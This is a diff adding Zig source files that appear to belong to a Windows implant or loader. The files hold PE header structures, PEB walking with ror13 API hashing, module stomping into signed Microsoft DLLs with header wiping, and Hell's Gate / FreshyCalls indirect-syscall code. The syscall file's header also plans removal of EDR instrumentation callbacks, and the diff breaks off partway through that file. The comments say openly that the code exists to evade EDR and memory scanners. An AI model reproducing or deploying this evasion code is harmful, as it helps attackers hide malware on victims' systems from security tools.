+111
@@ -0,0 +1,111 @@
|
||||
// 1. IMAGE_DOS_HEADER — DOS MZ magic + e_lfanew offset.
|
||||
// 2. IMAGE_FILE_HEADER — section count, machine type, timestamps.
|
||||
// 3. IMAGE_DATA_DIRECTORY — export/import/etc directory RVAs.
|
||||
// 4. IMAGE_OPTIONAL_HEADER64 — SizeOfImage@56 (not 36 — that bit us for hours).
|
||||
// 5. IMAGE_SECTION_HEADER — .text, .data, .rdata layout per section.
|
||||
// 6. IMAGE_EXPORT_DIRECTORY — name/function/ordinal tables for PE export parsing.
|
||||
// 7. IMAGE_NT_HEADERS64 — signature + file_header + optional_header (the NT header triad).
|
||||
pub const IMAGE_DOS_HEADER = extern struct {
|
||||
e_magic: u16,
|
||||
e_cblp: u16,
|
||||
e_cp: u16,
|
||||
e_crlc: u16,
|
||||
e_cparhdr: u16,
|
||||
e_minalloc: u16,
|
||||
e_maxalloc: u16,
|
||||
e_ss: u16,
|
||||
e_sp: u16,
|
||||
e_csum: u16,
|
||||
e_ip: u16,
|
||||
e_cs: u16,
|
||||
e_lfarlc: u16,
|
||||
e_ovno: u16,
|
||||
e_res: [4]u16,
|
||||
e_oemid: u16,
|
||||
e_oeminfo: u16,
|
||||
e_res2: [10]u16,
|
||||
e_lfanew: i32,
|
||||
};
|
||||
|
||||
pub const IMAGE_FILE_HEADER = extern struct {
|
||||
Machine: u16,
|
||||
NumberOfSections: u16,
|
||||
TimeDateStamp: u32,
|
||||
PointerToSymbolTable: u32,
|
||||
NumberOfSymbols: u32,
|
||||
SizeOfOptionalHeader: u16,
|
||||
Characteristics: u16,
|
||||
};
|
||||
|
||||
pub const IMAGE_DATA_DIRECTORY = extern struct {
|
||||
VirtualAddress: u32,
|
||||
Size: u32,
|
||||
};
|
||||
|
||||
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
|
||||
Magic: u16,
|
||||
MajorLinkerVersion: u8,
|
||||
MinorLinkerVersion: u8,
|
||||
SizeOfCode: u32,
|
||||
SizeOfInitializedData: u32,
|
||||
SizeOfUninitializedData: u32,
|
||||
AddressOfEntryPoint: u32,
|
||||
BaseOfCode: u32,
|
||||
ImageBase: u64,
|
||||
SectionAlignment: u32,
|
||||
FileAlignment: u32,
|
||||
MajorOperatingSystemVersion: u16,
|
||||
MinorOperatingSystemVersion: u16,
|
||||
MajorImageVersion: u16,
|
||||
MinorImageVersion: u16,
|
||||
MajorSubsystemVersion: u16,
|
||||
MinorSubsystemVersion: u16,
|
||||
Win32VersionValue: u32,
|
||||
SizeOfImage: u32,
|
||||
SizeOfHeaders: u32,
|
||||
CheckSum: u32,
|
||||
Subsystem: u16,
|
||||
DllCharacteristics: u16,
|
||||
SizeOfStackReserve: u64,
|
||||
SizeOfStackCommit: u64,
|
||||
SizeOfHeapReserve: u64,
|
||||
SizeOfHeapCommit: u64,
|
||||
LoaderFlags: u32,
|
||||
NumberOfRvaAndSizes: u32,
|
||||
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
|
||||
};
|
||||
|
||||
pub const IMAGE_SECTION_HEADER = extern struct {
|
||||
Name: [8]u8,
|
||||
VirtualSize: u32,
|
||||
VirtualAddress: u32,
|
||||
SizeOfRawData: u32,
|
||||
PointerToRawData: u32,
|
||||
PointerToRelocations: u32,
|
||||
PointerToLinenumbers: u32,
|
||||
NumberOfRelocations: u16,
|
||||
NumberOfLinenumbers: u16,
|
||||
Characteristics: u32,
|
||||
};
|
||||
|
||||
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
};
|
||||
|
||||
pub const IMAGE_NT_HEADERS64 = extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: IMAGE_FILE_HEADER,
|
||||
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
|
||||
};
|
||||
|
||||
|
||||
@@ -0,0 +1,201 @@
|
||||
// PEB-based module and function resolution. No static imports — everything resolved at runtime.
|
||||
// 1. Loader structs — LIST_ENTRY → PEB_LDR_DATA → LDR_DATA_TABLE_ENTRY (DllBase, name, size).
|
||||
// 2. PEB (GS:[0x60]) + hash_ror13 — case-insensitive, same algo as Hell's Gate manual-map tooling.
|
||||
// 3. get_peb() — inline asm to read GS:[0x60], returns PEB pointer.
|
||||
// 4. get_module_by_hash — walk InMemoryOrderModuleList, match by ror13 hash.
|
||||
// 5. resolve_forward_string — chase "DLL.func" forwarded exports through chain of modules.
|
||||
// 6. get_func_by_hash — parse IMAGE_EXPORT_DIRECTORY, handle forwarded exports.
|
||||
// 7. resolve_api — three-tier: specific module → kernel32 cache → ntdll cache → full PEB walk.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
// Doubly-linked list node used by Windows loader structures.
|
||||
// PEB_LDR_DATA chains these to track loaded modules in three orderings.
|
||||
pub const LIST_ENTRY = extern struct {
|
||||
Flink: *LIST_ENTRY,
|
||||
Blink: *LIST_ENTRY,
|
||||
};
|
||||
|
||||
// Loader data block hung off the PEB. Each module list is a circular linked list
|
||||
// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk — InLoadOrder
|
||||
// can race during DLL load/unload on other threads.
|
||||
pub const PEB_LDR_DATA = extern struct {
|
||||
Length: win.ULONG,
|
||||
Initialized: win.BYTE,
|
||||
Padding: [3]win.BYTE,
|
||||
SsHandle: win.LPVOID,
|
||||
InLoadOrderModuleList: LIST_ENTRY,
|
||||
InMemoryOrderModuleList: LIST_ENTRY,
|
||||
InInitializationOrderModuleList: LIST_ENTRY,
|
||||
};
|
||||
|
||||
// One entry per loaded module. Contains the DLL base, image size, and its name.
|
||||
// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start —
|
||||
// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY.
|
||||
pub const LDR_DATA_TABLE_ENTRY = extern struct {
|
||||
InLoadOrderLinks: LIST_ENTRY,
|
||||
InMemoryOrderLinks: LIST_ENTRY,
|
||||
InInitializationOrderLinks: LIST_ENTRY,
|
||||
DllBase: win.LPVOID,
|
||||
EntryPoint: win.LPVOID,
|
||||
SizeOfImage: win.ULONG,
|
||||
FullDllName: win.UNICODE_STRING,
|
||||
BaseDllName: win.UNICODE_STRING,
|
||||
};
|
||||
|
||||
// The Process Environment Block lives at GS:0x60 on x64.
|
||||
// Only the fields we actually touch are defined — the real struct is much larger.
|
||||
pub const PEB = extern struct {
|
||||
Reserved1: [2]win.BYTE,
|
||||
BeingDebugged: win.BYTE,
|
||||
Reserved2: [1]win.BYTE,
|
||||
Reserved3: [2]win.LPVOID,
|
||||
Ldr: *PEB_LDR_DATA,
|
||||
};
|
||||
|
||||
// ror13 hash of a module or function name. Case-insensitive — uppercases each byte before mixing.
|
||||
// Same algorithm used by Hell's Gate and other manual-map tooling for consistency.
|
||||
pub fn hash_ror13(input: []const u8) u32 {
|
||||
var hash: u32 = 0;
|
||||
for (input) |c| {
|
||||
var c_upper = c;
|
||||
if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32;
|
||||
hash = (hash >> 13) | (hash << 19);
|
||||
hash +%= c_upper;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Reads GS:[0x60] to return the PEB pointer.
|
||||
pub fn get_peb() *PEB {
|
||||
const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]"
|
||||
: [ptr] "=r" (-> usize),
|
||||
);
|
||||
return @as(*PEB, @ptrFromInt(ptr));
|
||||
}
|
||||
|
||||
// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches.
|
||||
// Returns the module's base address or null if not found.
|
||||
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
|
||||
const peb_ptr = get_peb();
|
||||
const ldr = peb_ptr.Ldr;
|
||||
// Walk the circular linked list starting from InMemoryOrderModuleList
|
||||
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
var entry = head.Flink;
|
||||
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
// Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
|
||||
if (le.BaseDllName.Length == 0) continue;
|
||||
|
||||
const buf = le.BaseDllName.Buffer;
|
||||
const len = le.BaseDllName.Length / 2;
|
||||
var mod_hash: u32 = 0;
|
||||
var i: usize = 0;
|
||||
while (i < len) : (i += 1) {
|
||||
var c = buf[i];
|
||||
if (c >= 'a' and c <= 'z') c -= 32;
|
||||
mod_hash = (mod_hash >> 13) | (mod_hash << 19);
|
||||
mod_hash +%= @as(u32, c);
|
||||
}
|
||||
|
||||
if (mod_hash == hash) return le.DllBase;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
// Follows a forwarded export string ("module.function") to resolve the real target.
|
||||
// Splits on the dot, hashes both halves, looks up the module, then the function within it.
|
||||
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
|
||||
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
|
||||
const str = std.mem.sliceTo(forward_str, 0);
|
||||
const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null;
|
||||
const dll_hash = hash_ror13(str[0..dot_pos]);
|
||||
const func_hash = hash_ror13(str[dot_pos + 1 ..]);
|
||||
const dll_base = get_module_by_hash(dll_hash) orelse return null;
|
||||
return get_func_by_hash(dll_base, func_hash);
|
||||
}
|
||||
|
||||
// Parses a module's export directory, hashes each exported name, and returns the matching
|
||||
// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL).
|
||||
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
|
||||
const base_bytes = @as([*]u8, @ptrCast(base));
|
||||
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
|
||||
const export_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null;
|
||||
|
||||
const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
|
||||
|
||||
if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null;
|
||||
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
|
||||
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames) : (i += 1) {
|
||||
if (names[i] == 0) continue;
|
||||
|
||||
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
|
||||
const name = std.mem.sliceTo(name_ptr, 0);
|
||||
|
||||
if (hash_ror13(name) == func_hash) {
|
||||
const ordinal = ords[i];
|
||||
if (ordinal >= exp.NumberOfFunctions) continue;
|
||||
const rva = funcs[ordinal];
|
||||
if (rva >= export_dir.VirtualAddress and rva < export_dir.VirtualAddress + export_dir.Size) {
|
||||
return resolve_forward_string(base_bytes, rva);
|
||||
}
|
||||
return @as(*anyopaque, @ptrCast(base_bytes + @as(usize, @intCast(rva))));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
var cached_kernel32: ?*anyopaque = null;
|
||||
var cached_ntdll: ?*anyopaque = null;
|
||||
|
||||
// Three-tier lookup: specific module by hash → kernel32 → ntdll → full PEB module walk.
|
||||
// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded.
|
||||
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
|
||||
if (module_hash != 0) {
|
||||
if (get_module_by_hash(module_hash)) |base| {
|
||||
if (get_func_by_hash(base, func_hash)) |f| return f;
|
||||
}
|
||||
}
|
||||
|
||||
if (cached_kernel32 == null) cached_kernel32 = get_module_by_hash(hash_ror13("kernel32.dll"));
|
||||
if (cached_kernel32) |base| {
|
||||
if (get_func_by_hash(base, func_hash)) |f| return f;
|
||||
}
|
||||
|
||||
if (cached_ntdll == null) cached_ntdll = get_module_by_hash(hash_ror13("ntdll.dll"));
|
||||
if (cached_ntdll) |base| {
|
||||
if (get_func_by_hash(base, func_hash)) |f| return f;
|
||||
}
|
||||
|
||||
const peb_ptr = get_peb();
|
||||
const ldr = peb_ptr.Ldr;
|
||||
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
var entry = head.Flink;
|
||||
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
|
||||
if (cached_kernel32) |ck| if (le.DllBase == ck) continue;
|
||||
if (cached_ntdll) |cn| if (le.DllBase == cn) continue;
|
||||
|
||||
if (get_func_by_hash(le.DllBase, func_hash)) |f| return f;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
// 5. Module stomping — copies our .text into a signed MS DLL so EDR sees legit code.
|
||||
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
|
||||
// 1. Walk PEB InMemoryOrderModuleList, match CryptoAPI/dwrite/msvcp_win (case-insensitive).
|
||||
// 2. Parse our PE headers to locate .text VirtualAddress + VirtualSize.
|
||||
// 3. NtProtectVirtualMemory(target, RWX) — make target DLL writable.
|
||||
// 4. memcpy — copy our .text bytes into target's image range.
|
||||
// 5. NtProtectVirtualMemory(target, RX) — restore so memory scanners see normal permissions.
|
||||
// 6. Zero our DOS header + NT headers — can't find what you can't parse.
|
||||
// our_base comes from Go's reflective loader, not PEB — we mapped ourselves.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
pub var g_evasion_relocated: bool = false;
|
||||
|
||||
// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
|
||||
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
|
||||
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
|
||||
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
const targets = [_][]const u8{ "CryptoAPI.dll", "dwrite.dll", "msvcp_win.dll" };
|
||||
|
||||
if (our_base == null) return null;
|
||||
|
||||
// Walk PEB to find a suitable signed Microsoft DLL target
|
||||
const peb = resolve.get_peb();
|
||||
const ldr = peb.Ldr;
|
||||
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
|
||||
var target_base: ?*anyopaque = null;
|
||||
var target_size: usize = 0;
|
||||
|
||||
var entry = head.Flink;
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
|
||||
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
|
||||
|
||||
// Match against our target shortlist (CryptoAPI, dwrite, msvcp_win)
|
||||
if (target_base == null) {
|
||||
const buf = le.BaseDllName.Buffer;
|
||||
const len = le.BaseDllName.Length / 2;
|
||||
for (targets) |target| {
|
||||
if (target.len == len) {
|
||||
var matches = true;
|
||||
var ci: usize = 0;
|
||||
while (ci < len) : (ci += 1) {
|
||||
var c1 = buf[ci];
|
||||
var c2 = target[ci];
|
||||
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
|
||||
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
|
||||
if (c1 != c2) { matches = false; break; }
|
||||
}
|
||||
if (matches) {
|
||||
target_base = le.DllBase;
|
||||
target_size = le.SizeOfImage;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (target_base != null) break;
|
||||
}
|
||||
|
||||
if (target_base == null) return null;
|
||||
|
||||
// Parse our own PE to locate the .text section
|
||||
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
|
||||
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
||||
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
|
||||
|
||||
// Scan section table for .text
|
||||
var text_start: ?*anyopaque = null;
|
||||
var text_size: usize = 0;
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') {
|
||||
text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
|
||||
text_size = sections[i].VirtualSize;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (text_start == null or text_size == 0) return null;
|
||||
|
||||
// Step 1: Make target memory RWX so we can write into it
|
||||
var target_mut: ?*anyopaque = target_base;
|
||||
var region_size: win.SIZE_T = target_size;
|
||||
var old_prot: win.ULONG = 0;
|
||||
const st = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&target_mut,
|
||||
®ion_size,
|
||||
win.PAGE_EXECUTE_READWRITE,
|
||||
&old_prot,
|
||||
);
|
||||
if (!win.NT_SUCCESS(st)) return null;
|
||||
|
||||
// Step 2: Copy our .text into the target DLL's memory range
|
||||
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
|
||||
const src = @as([*]const u8, @ptrCast(text_start.?));
|
||||
@memcpy(dest[0..text_size], src[0..text_size]);
|
||||
|
||||
// Step 3: Restore target to RX so it looks normal to memory scanners
|
||||
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
|
||||
var restore_size: win.SIZE_T = target_size;
|
||||
var new_old: win.ULONG = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&restore_mut,
|
||||
&restore_size,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
&new_old,
|
||||
);
|
||||
|
||||
// Step 4: Zero out our original headers so scanners can't find a rogue DLL header
|
||||
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
|
||||
const e_lfanew = dos.e_lfanew;
|
||||
@memset(old_bytes[0..64], 0);
|
||||
@memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);
|
||||
|
||||
g_evasion_relocated = true;
|
||||
return our_base;
|
||||
}
|
||||
@@ -0,0 +1,431 @@
|
||||
// Syscall dispatch — SSN extraction, indirect syscalls, IC removal.
|
||||
// References
|
||||
// Hell's Gate: https://github.com/am0nsec/HellsGate
|
||||
// FreshyCalls: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
|
||||
// Indirect syscalls (SysWhispers): https://github.com/jthuraisamy/SysWhispers
|
||||
// CFG-aware IC: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
|
||||
// 1. Global pool — gadget addrs, ntdll base, PRNG state, FreshyCalls table
|
||||
// 2. Assembly stubs — hells_gate, hell_descent
|
||||
// 3. xorshift64 PRNG
|
||||
// 4. Exception dir cache (HAL's Gate fallback)
|
||||
// 5. build_freshy_table — Nt* exports → sort RVA → SSN = position
|
||||
// 6. extract_ssn — FreshyCalls → HAL's Gate
|
||||
// 7. syscall_dispatch — SSN → random gadget → dispatch
|
||||
// 8. NT API wrappers
|
||||
// 9. remove_edr_callbacks — SeDebugPrivilege → ProcessInstrumentationCallback (jmp r10 if CFG)
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const api = @import("api.zig");
|
||||
|
||||
// 1. global pool — syscall gadgets, ntdll base, PRNG state
|
||||
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
|
||||
var g_syscall_count: usize = 0;
|
||||
var g_ntdll_base: ?*anyopaque = null;
|
||||
var g_init_done: bool = false;
|
||||
var g_rand_state: u64 = 0;
|
||||
|
||||
// FreshyCalls table — ntdll Nt* exports sorted by RVA, SSN = position in sorted order
|
||||
const FRESHY_MAX: usize = 1024;
|
||||
const FreshyEntry = struct { hash: u32, rva: u32 };
|
||||
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
|
||||
var g_freshy_count: usize = 0;
|
||||
var g_freshy_ready: bool = false;
|
||||
|
||||
// jmp r10 gadget (41 FF E2) found in ntdll at init — used as CFG-safe IC neutralizer
|
||||
var g_jmp_r10_gadget: usize = 0;
|
||||
|
||||
// 2. assembly stubs — hells_gate encrypts SSN, hell_descent jumps to gadget
|
||||
extern fn hells_gate(ssn: u32, syscall_addr: usize) void;
|
||||
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
|
||||
|
||||
// 3. xorshift64 PRNG — seeded once from stack address ^ tick count
|
||||
fn xorshift64() u64 {
|
||||
var state = g_rand_state;
|
||||
state ^= state << 13;
|
||||
state ^= state >> 7;
|
||||
state ^= state << 17;
|
||||
g_rand_state = state;
|
||||
return state;
|
||||
}
|
||||
|
||||
// 4. exception directory cache — for HAL's Gate fallback
|
||||
var g_ntdll_size: usize = 0;
|
||||
var g_exc_begin: usize = 0;
|
||||
var g_exc_count: usize = 0;
|
||||
|
||||
// FreshyCalls table builder — walks ntdll's export directory, collects Nt* exports
|
||||
// with real code addresses (skips forwarded exports whose RVAs fall inside the export
|
||||
// directory range). Sorts by RVA ascending. SSN = position in sorted order.
|
||||
// Immune to inline hooking because it only reads the export directory and the RVA sort
|
||||
// order is invariant — EDRs can't fake the linker's function layout.
|
||||
// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
|
||||
fn build_freshy_table() void {
|
||||
const base = g_ntdll_base orelse return;
|
||||
const base_bytes = @as([*]u8, @ptrCast(base));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return;
|
||||
const NT_SIGNATURE: u32 = 0x00004550;
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [18]u8 },
|
||||
OptionalHeader: extern struct {
|
||||
Magic: u16, pad1: [100]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 },
|
||||
},
|
||||
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != NT_SIGNATURE) return;
|
||||
|
||||
const export_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
|
||||
|
||||
const exp = @as(*align(1) extern struct {
|
||||
Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16,
|
||||
Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32,
|
||||
AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32,
|
||||
}, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
|
||||
|
||||
if (exp.NumberOfNames == 0) return;
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
|
||||
|
||||
g_freshy_count = 0;
|
||||
const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
|
||||
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
|
||||
const name = std.mem.sliceTo(name_ptr, 0);
|
||||
// Only Nt* exports — Zw* shares identical SSNs and would produce duplicate positions
|
||||
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
|
||||
|
||||
const ordinal = ords[i];
|
||||
if (ordinal >= exp.NumberOfFunctions) continue;
|
||||
const rva = funcs[ordinal];
|
||||
// Skip forwarded exports — their RVAs point inside the export directory
|
||||
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
|
||||
|
||||
g_freshy_entries[g_freshy_count] = FreshyEntry{
|
||||
.hash = resolve.hash_ror13(name),
|
||||
.rva = rva,
|
||||
};
|
||||
g_freshy_count += 1;
|
||||
}
|
||||
|
||||
// Sort by RVA ascending — SSN = position in sorted order
|
||||
if (g_freshy_count > 1) {
|
||||
var bubble_i: usize = 0;
|
||||
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
|
||||
var swapped = false;
|
||||
var bubble_j: usize = 0;
|
||||
while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) {
|
||||
if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) {
|
||||
const tmp = g_freshy_entries[bubble_j];
|
||||
g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1];
|
||||
g_freshy_entries[bubble_j + 1] = tmp;
|
||||
swapped = true;
|
||||
}
|
||||
}
|
||||
if (!swapped) break;
|
||||
}
|
||||
}
|
||||
g_freshy_ready = true;
|
||||
}
|
||||
|
||||
// FreshyCalls lookup — linear scan by hash in the sorted table, returns SSN.
|
||||
fn extract_ssn_freshy(func_hash: u32) ?u16 {
|
||||
if (!g_freshy_ready) return null;
|
||||
for (0..g_freshy_count) |i| {
|
||||
if (g_freshy_entries[i].hash == func_hash) {
|
||||
return @as(u16, @intCast(i));
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
const RUNTIME_FUNCTION = extern struct {
|
||||
BeginAddress: u32,
|
||||
EndAddress: u32,
|
||||
UnwindInfoAddress: u32,
|
||||
};
|
||||
|
||||
// 5. extract SSN — tries FreshyCalls export-sort lookup first (immune to inline hooks),
|
||||
// then falls back to HAL's Gate exception directory binary search with 0xB8 scan.
|
||||
// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
|
||||
pub fn extract_ssn(func_hash: u32) ?u16 {
|
||||
if (!init_syscall()) return null;
|
||||
|
||||
// 5a. FreshyCalls — look up hash in sorted export table, SSN = position
|
||||
if (extract_ssn_freshy(func_hash)) |ssn| return ssn;
|
||||
|
||||
// 5b. HAL's Gate fallback — exception directory binary search + 0xB8 scan
|
||||
const base = g_ntdll_base orelse return null;
|
||||
const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
|
||||
const func_addr_base = @intFromPtr(func_addr);
|
||||
const base_addr = @intFromPtr(base);
|
||||
const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
|
||||
if (!in_ntdll) return null;
|
||||
const func_rva = @as(u32, @intCast(func_addr_base - base_addr));
|
||||
if (g_exc_count == 0) return null;
|
||||
const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin));
|
||||
var lo: usize = 0;
|
||||
var hi: usize = g_exc_count;
|
||||
while (lo < hi) {
|
||||
const mid = lo + (hi - lo) / 2;
|
||||
const entry = funcs[mid];
|
||||
if (func_rva < entry.BeginAddress) {
|
||||
hi = mid;
|
||||
} else if (func_rva >= entry.EndAddress) {
|
||||
lo = mid + 1;
|
||||
} else {
|
||||
const start_rva = entry.BeginAddress;
|
||||
const end_rva = entry.EndAddress;
|
||||
const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva));
|
||||
const scan_len = @min(end_rva - start_rva, 96);
|
||||
var j: usize = 4;
|
||||
while (j < scan_len) : (j += 1) {
|
||||
